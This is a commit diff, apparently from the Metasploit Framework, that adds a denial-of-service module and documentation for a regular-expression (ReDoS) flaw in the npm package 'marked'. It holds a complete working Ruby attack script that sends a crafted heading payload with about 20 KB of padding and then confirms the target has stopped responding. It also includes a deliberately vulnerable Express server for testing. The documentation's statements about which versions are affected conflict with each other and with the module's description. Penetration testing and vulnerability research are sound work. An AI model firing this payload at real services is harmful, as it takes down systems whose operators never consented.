Land #10120, npm "marked" ReDoS module
parent
5094040242
commit
e1097f7e38
|
@ -0,0 +1,84 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
|
||||||
|
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
|
||||||
|
Versions before 0.3.19 are vulnerable.
|
||||||
|
Any application that uses a vulnerable version of this module and passes untrusted input
|
||||||
|
to the module will be vulnerable.
|
||||||
|
|
||||||
|
## How to Install
|
||||||
|
|
||||||
|
To install a vulnerable version of `marked`, run:
|
||||||
|
```
|
||||||
|
npm i marked@0.3.19
|
||||||
|
```
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
Example steps in this format (is also in the PR):
|
||||||
|
|
||||||
|
1. Create a new directory for test application.
|
||||||
|
2. Copy below example server into test application directory as `server.js`.
|
||||||
|
3. Run `npm i express` to install express in the test application directory.
|
||||||
|
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
|
||||||
|
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
|
||||||
|
6. Once all dependencies are installed, run the server with `node server.js`.
|
||||||
|
7. Open up a new terminal.
|
||||||
|
8. Start msfconsole.
|
||||||
|
9. `use auxiliary/dos/http/marked_redos`.
|
||||||
|
10. `set RHOST [IP]`.
|
||||||
|
11. `set HTTP_METHOD get` (optional)
|
||||||
|
12. `set HTTP_PARAMETER foo` (required)
|
||||||
|
13. `set URI /path/to/vulnerable/route` (optional)
|
||||||
|
14. `run`.
|
||||||
|
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
|
||||||
|
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
### marked npm module version 0.3.19
|
||||||
|
|
||||||
|
Expected output for successful exploitation:
|
||||||
|
|
||||||
|
```
|
||||||
|
[*] Testing Service to make sure it is working.
|
||||||
|
[*] Test request successful, attempting to send payload
|
||||||
|
[*] Sending ReDoS request to 192.168.3.24:3000.
|
||||||
|
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
|
||||||
|
[*] Testing for service unresponsiveness.
|
||||||
|
[+] Service not responding.
|
||||||
|
[*] Auxiliary module execution completed
|
||||||
|
```
|
||||||
|
|
||||||
|
### Example Vulnerable Application
|
||||||
|
|
||||||
|
```
|
||||||
|
// npm i express body-parser
|
||||||
|
// npm i marked@0.3.19 (vulnerable)
|
||||||
|
// npm i marked (non-vulnerable)
|
||||||
|
|
||||||
|
const marked = require('marked');
|
||||||
|
const express = require('express');
|
||||||
|
const bodyParser = require('body-parser');
|
||||||
|
|
||||||
|
var app = express();
|
||||||
|
app.use(bodyParser.text({ type: 'text/html' }));
|
||||||
|
|
||||||
|
// create application/json parser
|
||||||
|
const jsonParser = bodyParser.json();
|
||||||
|
|
||||||
|
// create application/x-www-form-urlencoded parser
|
||||||
|
const urlencodedParser = bodyParser.urlencoded({ extended: false });
|
||||||
|
|
||||||
|
app.get("/", urlencodedParser, function(req, res) {
|
||||||
|
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
|
||||||
|
res.end(result);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.post("/cat", urlencodedParser, function(req, res) {
|
||||||
|
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
|
||||||
|
res.end(result);
|
||||||
|
});
|
||||||
|
|
||||||
|
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
|
||||||
|
```
|
|
@ -0,0 +1,117 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Auxiliary
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'marked npm module "heading" ReDoS',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a Regular Expression Denial of Service vulnerability
|
||||||
|
in the npm module "marked". The vulnerable portion of code that this module
|
||||||
|
targets is in the "heading" regular expression. Web applications that use
|
||||||
|
"marked" for generating html from markdown are vulnerable. Versions up to
|
||||||
|
0.4.0 are vulnerable.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
|
||||||
|
['CWE', '400']
|
||||||
|
],
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Adam Cazzolla, Sonatype Security Research',
|
||||||
|
'Nick Starke, Sonatype Security Research'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
Opt::RPORT(80),
|
||||||
|
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
|
||||||
|
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
|
||||||
|
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if test_service
|
||||||
|
trigger_redos
|
||||||
|
test_service_unresponsive
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def trigger_redos
|
||||||
|
begin
|
||||||
|
print_status("Sending ReDoS request to #{peer}.")
|
||||||
|
|
||||||
|
params = {
|
||||||
|
'uri' => normalize_uri(target_uri.path),
|
||||||
|
'method' => datastore['HTTP_METHOD'],
|
||||||
|
("vars_#{datastore['HTTP_METHOD'].downcase}") => {
|
||||||
|
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
res = send_request_cgi(params)
|
||||||
|
|
||||||
|
if res
|
||||||
|
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||||
|
rescue ::Rex::ConnectionRefused
|
||||||
|
print_error("Unable to connect to #{peer}.")
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_service_unresponsive
|
||||||
|
begin
|
||||||
|
print_status('Testing for service unresponsiveness.')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_good('Service not responding.')
|
||||||
|
else
|
||||||
|
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionRefused
|
||||||
|
print_error('An unknown error occurred.')
|
||||||
|
rescue ::Timeout::Error
|
||||||
|
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_service
|
||||||
|
begin
|
||||||
|
print_status('Testing Service to make sure it is working.')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code >= 100 && res.code < 500
|
||||||
|
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
rescue ::Rex::ConnectionRefused
|
||||||
|
print_error("Unable to connect to #{peer}.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue